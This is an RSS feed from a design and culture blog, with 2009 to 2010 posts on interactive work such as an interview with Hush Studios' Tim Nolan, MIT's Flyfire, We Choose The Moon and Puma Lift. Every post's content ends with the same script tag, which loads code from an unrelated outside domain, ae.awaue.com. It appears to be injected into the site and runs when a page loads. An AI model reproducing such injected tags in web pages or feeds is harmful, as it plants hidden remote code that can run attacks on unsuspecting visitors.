<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Takeover /// &#187; interactive</title>
	<atom:link href="http://thebreaksover.com/tag/interactive/feed/" rel="self" type="application/rss+xml" />
	<link>http://thebreaksover.com</link>
	<description>The Takeover features daily inspiration in design, art, fashion, music and culture.</description>
	<lastBuildDate>Wed, 14 Jul 2010 03:06:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>GOOD FOLK #20: HUSH STUDIOS (Tim Nolan) ///</title>
		<link>http://thebreaksover.com/2010/04/good-folk-tim-nolan/</link>
		<comments>http://thebreaksover.com/2010/04/good-folk-tim-nolan/#comments</comments>
		<pubDate>Wed, 21 Apr 2010 13:00:11 +0000</pubDate>
		<dc:creator>Jason Alejandro</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Film]]></category>
		<category><![CDATA[Good Folk]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[brooklyn]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[interview]]></category>
		<category><![CDATA[motion]]></category>
		<category><![CDATA[nyc]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://thebreaksover.com/?p=4083</guid>
		<description><![CDATA[[vimeo 3008321] [vimeo 9637422] -NAME Tim Nolan, Director of Interactive at Hush Studios -WHERE ARE YOU FROM? Brooklyn, New York. Hush Studios is in DUMBO, and I live near the Brooklyn Museum. -WHAT DOES YOUR WORK CONSIST OF? I am the Director of Interactive at HUSH. Hush Studios is a New York-based creative studio conceiving [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://thebreaksover.com/wp-content/uploads/2010/04/timnolan_goodfolk.jpg" alt="" title="timnolan_goodfolk" width="500" class="aligncenter size-full wp-image-4109" /></p>
<p><img src="http://thebreaksover.com/wp-content/uploads/2010/04/hush_studio.jpg" alt="" title="hush_studio" width="500" class="aligncenter size-full wp-image-4110" /></p>
<p>[vimeo 3008321]</p>
<p>[vimeo 9637422]</p>
<p><img src="http://thebreaksover.com/wp-content/uploads/2010/04/nike01.png" alt="" title="nike01" width="500" class="aligncenter size-full wp-image-4111" /></a></p>
<p><img src="http://thebreaksover.com/wp-content/uploads/2010/04/sony.png" alt="" title="sony" width="500" class="aligncenter size-full wp-image-4112" /></p>
<p>-NAME<br />
Tim Nolan, Director of Interactive at <a href="http://www.heyhush.com/">Hush Studios</a></p>
<p>-WHERE ARE YOU FROM?<br />
Brooklyn, New York. Hush Studios is in DUMBO, and I live near the Brooklyn Museum.</p>
<p>-WHAT DOES YOUR WORK CONSIST OF?<br />
I am the Director of Interactive at <a href="http://www.heyhush.com/">HUSH</a>. Hush Studios is a New York-based creative studio conceiving and developing powerful brand-driven stories, award winning design, animation, and film for TV, Internet, and Mobile. In other words, the work takes the on form of live action, flash applications, and animation.</p>
<p>-HOW DID YOU GET STARTED?<br />
I started working in the interactive field during the mid-nineties, and have had the honor of working at a handful of the best studios around. David &#038; Erik (partners at Hush)  have their roots in motion, 3D, and live action production. Together we make HUSH what it is today.</p>
<p><img src="http://thebreaksover.com/wp-content/uploads/2010/04/robot.png" alt="" title="robot" width="500" class="aligncenter size-full wp-image-4113" /></p>
<p>-WHAT IS THE BEST THING ABOUT WHAT YOU DO?<br />
The best thing about what I do is having the opportunity to work with so many talented people.</p>
<p>-WHAT IS THE WORST THING ABOUT WHAT YOU DO?<br />
There just are not enough hours in the day to do everything!</p>
<p>-IF YOU WEREN&#8217;T IN DIGITAL, WHAT WOULD YOU BE DOING?<br />
If I wasn&#8217;t working in Digital I would be creating analog works of art. I miss painting and mixed media artwork. I will use this interview to remind myself to &#8220;make&#8221; more physical stuff!</p>
<p><img src="http://thebreaksover.com/wp-content/uploads/2010/04/amex.png" alt="" title="amex" width="500" class="aligncenter size-full wp-image-4114" /></p>
<p>-WHAT INSPIRES YOU?<br />
I am inspired by Technology, Art, Design, Television, and Nature.</p>
<p>-WHERE DOES CREATIVITY COME FROM?<br />
Creativity comes from so many places. Some days it is observations everyday life, some days it comes from seeing work around the web. Part of my job at Hush Studios is to stay one step ahead of the curve. I scour the web via twitter, and a collection of blogs that focus on technology, emerging platforms, as well as art &#038; design.</p>
<p>-WHO&#8217;S WORK DO YOU LOOK UP TO? (Either currently or in the past)<br />
There are a few filmmakers like <a href="http://en.wikipedia.org/wiki/Spike_Jonze">Spike Jonze</a>, <a href="http://www.territimely.com/">Terri Timely</a>, and <a href="http://en.wikipedia.org/wiki/Wes_Anderson">Wes Anderson</a> whom I look up to as narrative storytellers, and on the interactive front I have always respected on the work of <a href="http://yugop.com/">Yugo Nakamura</a></p>
<p><img src="http://thebreaksover.com/wp-content/uploads/2010/04/hyundai.png" alt="" title="hyundai" width="500" class="aligncenter size-full wp-image-4115" /></p>
<p>-WHAT DOES THE FUTURE LOOK LIKE FOR YOUR INDUSTRY?<br />
I am so excited for the future. Everyday we (as an industry) make progress, everyday someone takes an existing model and improves it. &#8220;Life moves pretty fast, if you do not stop an look around once and a while, you might miss it.&#8221; &#8211; Ferris Bueller</p>
<p>-WHAT CAN WE EXPECT FROM YOU NEXT?<br />
Big things are coming from HUSH Studios in 2010. We love prototyping out new things like this: <a href="http://vimeo.com/8846944">http://vimeo.com/8846944</a> and hope to have a few more internal projects launching soon. Stay tuned.</p>
<p>-WHAT ADVICE WOULD YOU GIVE TO OTHER PEOPLE IN YOUR FIELD ASPIRING TO GET TO WHERE YOU ARE TODAY?<br />
My advice would be to do what you love. </p>
<p><img src="http://thebreaksover.com/wp-content/uploads/2010/04/nike02.png" alt="" title="nike02" width="500" class="aligncenter size-full wp-image-4116" /></p>
<p>-ONE DEFINING MOMENT OF YOUR CAREER SO FAR.<br />
In 2008 I started directing live-action specifically for the internet. The idea of combining live action and 3D was always something I pushed for, and it was awesome to be involved in the whole process of pre-production; Script and Character development, Wardrobe, props, and styling are all very interesting to me. I love crafting narrative, and having so much control over what is on the screen is very rewarding. (See: <a href="http://vimeo.com/7195348">http://vimeo.com/7195348</a>) I truly believe we have that magic formula of balancing these disciplines working for us here at HUSH. The future looks bright.</p>
<p>-WHAT ARE YOU LISTENING TO RIGHT NOW?<br />
<a href="http://www.myspace.com/miikesnow">Miike Snow</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://thebreaksover.com/2010/04/good-folk-tim-nolan/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SUPERFAMOUS ///</title>
		<link>http://thebreaksover.com/2010/04/superfamous/</link>
		<comments>http://thebreaksover.com/2010/04/superfamous/#comments</comments>
		<pubDate>Thu, 08 Apr 2010 14:14:09 +0000</pubDate>
		<dc:creator>Jason Alejandro</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[designer]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[L.A.]]></category>
		<category><![CDATA[portfolio]]></category>

		<guid isPermaLink="false">http://thebreaksover.com/?p=4020</guid>
		<description><![CDATA[Superfamous is the studio of L.A. based interaction designer Folkert Gorter, the man behind some notable web/interaction projects like But Does it Float (one of my favorite inspiration blogs ever), Cargo, Space Collective and GOOD.]]></description>
			<content:encoded><![CDATA[<p><a href="http://cargo.superfamous.com/"><img src="http://thebreaksover.com/wp-content/uploads/2010/04/superfamous.png" alt="" title="superfamous" width="671" height="394" class="aligncenter size-full wp-image-4021" /></a></p>
<p><a href="http://cargo.superfamous.com/">Superfamous</a> is the studio of L.A. based interaction designer Folkert Gorter, the man behind some notable web/interaction projects like <a href="http://butdoesitfloat.com/">But Does it Float</a> (one of my favorite inspiration blogs ever), <a href="http://cargocollective.com">Cargo</a>, <a href="http://spacecollective.org/">Space Collective</a> and <a href="http://good.is">GOOD</a>.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://thebreaksover.com/2010/04/superfamous/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FLYFIRE ///</title>
		<link>http://thebreaksover.com/2010/03/flyfire/</link>
		<comments>http://thebreaksover.com/2010/03/flyfire/#comments</comments>
		<pubDate>Tue, 23 Mar 2010 13:00:24 +0000</pubDate>
		<dc:creator>Jason Alejandro</dc:creator>
				<category><![CDATA[Art]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[Education]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[environment]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[Media Lab]]></category>
		<category><![CDATA[MIT]]></category>
		<category><![CDATA[research]]></category>
		<category><![CDATA[space]]></category>

		<guid isPermaLink="false">http://thebreaksover.com/?p=3903</guid>
		<description><![CDATA[I&#8217;m always watching out for projects that are being done by MIT&#8217;s Media Lab. Flyfire is one that caught my eye recently. From their site: &#8220;Flyfire, a project initiated by the SENSEable City Laboratory in collaboration with ARES Lab (Aerospace Robotics and Embedded Systems Laboratory) aims to transform any ordinary space into a highly immersive [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://senseable.mit.edu/flyfire/"><img src="http://thebreaksover.com/wp-content/uploads/2010/03/flyfire.png" alt="" title="flyfire" width="500" class="aligncenter size-full wp-image-3904" /></a></p>
<p>I&#8217;m always watching out for projects that are being done by MIT&#8217;s Media Lab. <a href="http://senseable.mit.edu/flyfire/">Flyfire</a> is one that caught my eye recently.</p>
<p>From their site: &#8220;Flyfire, a project initiated by the SENSEable City Laboratory in collaboration with ARES Lab (Aerospace Robotics and Embedded Systems Laboratory) aims to transform any ordinary space into a highly immersive and interactive display environment.&#8221;</p>
<p>[youtube CnEN9B18v6Q]<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://thebreaksover.com/2010/03/flyfire/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MOSTAR DESIGN ///</title>
		<link>http://thebreaksover.com/2009/08/mostar-design/</link>
		<comments>http://thebreaksover.com/2009/08/mostar-design/#comments</comments>
		<pubDate>Tue, 11 Aug 2009 13:20:45 +0000</pubDate>
		<dc:creator>Jason Alejandro</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Typography]]></category>
		<category><![CDATA[design studio]]></category>
		<category><![CDATA[france]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[motion]]></category>

		<guid isPermaLink="false">http://thebreaksover.com/?p=2304</guid>
		<description><![CDATA[Mostardesign is a French studio with some really nice motion work and typography. I&#8217;ve really got a thing for a few of their typeface designs.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.mostardesign.com"><img src="http://thebreaksover.com/wp-content/uploads/2009/08/sofia07.jpg" alt="sofia07" title="sofia07" width="500" class="aligncenter size-full wp-image-2305" /></a></p>
<p><a href="http://www.mostardesign.com">Mostardesign</a> is a French studio with some really nice motion work and typography. I&#8217;ve really got a thing for a few of their typeface designs.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://thebreaksover.com/2009/08/mostar-design/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WE CHOOSE THE MOON ///</title>
		<link>http://thebreaksover.com/2009/07/we-choose-the-moon/</link>
		<comments>http://thebreaksover.com/2009/07/we-choose-the-moon/#comments</comments>
		<pubDate>Thu, 16 Jul 2009 19:12:43 +0000</pubDate>
		<dc:creator>Jason Alejandro</dc:creator>
				<category><![CDATA[Culture]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[Education]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[history]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[science]]></category>
		<category><![CDATA[space]]></category>
		<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://thebreaksover.com/?p=2074</guid>
		<description><![CDATA[We Choose The Moon is an interactive experience recreating the historic Apollo 11 mission to the Moon in real time. We Choose the Moon is being sponsored by the JFK Presidential Library and Museum and is depicting the voyage of Apollo 11 in real time, with animated videos, audios from the capcom, and all in [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://wechoosethemoon.org"><img src="http://thebreaksover.com/wp-content/uploads/2009/07/moon.png" alt="moon" title="moon" width="500" class="aligncenter size-full wp-image-2080" /></a></p>
<p><a href="http://wechoosethemoon.org">We Choose The Moon</a> is an interactive experience recreating the historic Apollo 11 mission to the Moon in real time. We Choose the Moon is being sponsored by the JFK Presidential Library and Museum and is depicting the voyage of Apollo 11 in real time, with animated videos, audios from the capcom, and all in real time.</p>
<p>Thanks to <a href="http://www.estudiointerlinea.com/">Alberto</a> for sending this in.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://thebreaksover.com/2009/07/we-choose-the-moon/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DESIGN NAMING MACHINE ///</title>
		<link>http://thebreaksover.com/2009/06/design-naming-machine/</link>
		<comments>http://thebreaksover.com/2009/06/design-naming-machine/#comments</comments>
		<pubDate>Wed, 17 Jun 2009 16:55:48 +0000</pubDate>
		<dc:creator>Jason Alejandro</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[design studio]]></category>
		<category><![CDATA[funny]]></category>
		<category><![CDATA[interactive]]></category>

		<guid isPermaLink="false">http://thebreaksover.com/?p=1906</guid>
		<description><![CDATA[Can&#8217;t figure out what to name your design studio? Just go ahead and give the Design Naming Machine a try.]]></description>
			<content:encoded><![CDATA[<p><a href="http://breadlinedesign.com/naming_machine/index.htm"><img src="http://thebreaksover.com/wp-content/uploads/2009/06/designmachine.png" alt="designmachine" title="designmachine" width="500" class="aligncenter size-full wp-image-1907" /></a></p>
<p>Can&#8217;t figure out what to name your design studio? Just go ahead and give the <a href="http://breadlinedesign.com/naming_machine/index.htm">Design Naming Machine</a> a try.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://thebreaksover.com/2009/06/design-naming-machine/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PAINTING A SONG ///</title>
		<link>http://thebreaksover.com/2009/05/painting-a-song/</link>
		<comments>http://thebreaksover.com/2009/05/painting-a-song/#comments</comments>
		<pubDate>Tue, 05 May 2009 15:52:04 +0000</pubDate>
		<dc:creator>Jason Alejandro</dc:creator>
				<category><![CDATA[Art]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[Music]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[web design]]></category>

		<guid isPermaLink="false">http://thebreaksover.com/?p=1687</guid>
		<description><![CDATA[This has to be one of the most amazing interactive web experiences of recent memory. Amazing site: http://soytuaire.labuat.com/ Thanks to Neil for sending this over.]]></description>
			<content:encoded><![CDATA[<p><a href="http://soytuaire.labuat.com/"><img src="http://thebreaksover.com/wp-content/uploads/2009/05/paintsong.png" alt="paintsong" title="paintsong" width="500" class="aligncenter size-full wp-image-1688" /></a></p>
<p>This has to be one of the most amazing interactive web experiences of recent memory. Amazing site: <a href="http://soytuaire.labuat.com/">http://soytuaire.labuat.com/</a></p>
<p>Thanks to Neil for sending this over.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://thebreaksover.com/2009/05/painting-a-song/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PUMA LIFT ///</title>
		<link>http://thebreaksover.com/2009/04/puma-lift/</link>
		<comments>http://thebreaksover.com/2009/04/puma-lift/#comments</comments>
		<pubDate>Tue, 28 Apr 2009 11:19:18 +0000</pubDate>
		<dc:creator>Jason Alejandro</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Fashion]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[sneakers]]></category>
		<category><![CDATA[web design]]></category>

		<guid isPermaLink="false">http://thebreaksover.com/?p=1650</guid>
		<description><![CDATA[Amazing interactive site for PUMA. Via BrandFlakes]]></description>
			<content:encoded><![CDATA[<p><a href="http://lift.puma.com/"><img src="http://thebreaksover.com/wp-content/uploads/2009/04/picture-22.png" alt="picture-22" title="picture-22" width="500" class="aligncenter size-full wp-image-1651" /></a></p>
<p><a href="http://lift.puma.com/">Amazing interactive site for PUMA.</a></p>
<p><a href="http://www.brandflakesforbreakfast.com/2009/04/once-again-guys-in-finance-get-girl.html">Via BrandFlakes</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://thebreaksover.com/2009/04/puma-lift/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>THE UNIVERSE IN &#8217;09 ///</title>
		<link>http://thebreaksover.com/2009/04/the-universe-in-09/</link>
		<comments>http://thebreaksover.com/2009/04/the-universe-in-09/#comments</comments>
		<pubDate>Wed, 15 Apr 2009 13:26:42 +0000</pubDate>
		<dc:creator>Jason Alejandro</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[science]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[web design]]></category>

		<guid isPermaLink="false">http://thebreaksover.com/?p=1551</guid>
		<description><![CDATA[SEED Magazine has launched The Universe in &#8217;09, site by Fangohr. Just amazing.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.seedmagazine.com/ui09/"><img src="http://thebreaksover.com/wp-content/uploads/2009/04/picture-2.png" alt="picture-2" title="picture-2" width="500" class="aligncenter size-full wp-image-1552" /></a></p>
<p><a href="http://www.seedmagazine.com/">SEED Magazine</a> has launched <a href="http://www.seedmagazine.com/ui09/">The Universe in &#8217;09</a>, site by <a href="http://www.fangohr.com/">Fangohr</a>. Just amazing.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://thebreaksover.com/2009/04/the-universe-in-09/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AUGMENTED REALITY BASEBALL CARDS ///</title>
		<link>http://thebreaksover.com/2009/03/augmented-reality-baseball-cards/</link>
		<comments>http://thebreaksover.com/2009/03/augmented-reality-baseball-cards/#comments</comments>
		<pubDate>Wed, 11 Mar 2009 16:53:31 +0000</pubDate>
		<dc:creator>Jason Alejandro</dc:creator>
				<category><![CDATA[Culture]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[sports]]></category>

		<guid isPermaLink="false">http://thebreaksover.com/?p=1212</guid>
		<description><![CDATA[Webcam brings 3-D to Topps sports cards&#8230;]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.psfk.com/2009/03/baseball-cards-add-augmented-reality.html"><img alt="" src="http://www.psfk.com/wp-content/uploads/2009/03/09topps450.jpg" title="ballcards" class="aligncenter" width="500" /></a></p>
<p><a href="http://www.nytimes.com/2009/03/09/technology/09topps.html">Webcam brings 3-D to Topps sports cards&#8230;</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://thebreaksover.com/2009/03/augmented-reality-baseball-cards/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AUDI  ///</title>
		<link>http://thebreaksover.com/2009/03/audi/</link>
		<comments>http://thebreaksover.com/2009/03/audi/#comments</comments>
		<pubDate>Tue, 10 Mar 2009 19:55:29 +0000</pubDate>
		<dc:creator>Jason Alejandro</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[business]]></category>
		<category><![CDATA[interactive]]></category>

		<guid isPermaLink="false">http://thebreaksover.com/?p=1204</guid>
		<description><![CDATA[Looks like 2008 was a good year for automaker Audi, despite an economic recession that is pounding most other car manufacturers. Audi posted record profits last year and their Interactive Annual Report (above) does an excellent job at featuring some of the inspiration behind the company&#8217;s success. Via PSFK]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.psfk.com/2009/03/audi-posts-record-profits-unleashes-interactive-annual-report.html"><img src="http://thebreaksover.files.wordpress.com/2009/03/picture-1.png" alt="audi" title="audi" width="500" height="378" class="aligncenter size-full wp-image-1205" /></a></p>
<p>Looks like 2008 was a good year for automaker Audi, despite an economic recession that is pounding most other car manufacturers. Audi posted record profits last year and their <a href="http://www.yukom-client.de/client_space/audi_ar_08">Interactive Annual Report</a> (above) does an excellent job at featuring some of the inspiration behind the company&#8217;s success.</p>
<p>Via <a href="http://www.psfk.com/2009/03/audi-posts-record-profits-unleashes-interactive-annual-report.html">PSFK</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://thebreaksover.com/2009/03/audi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
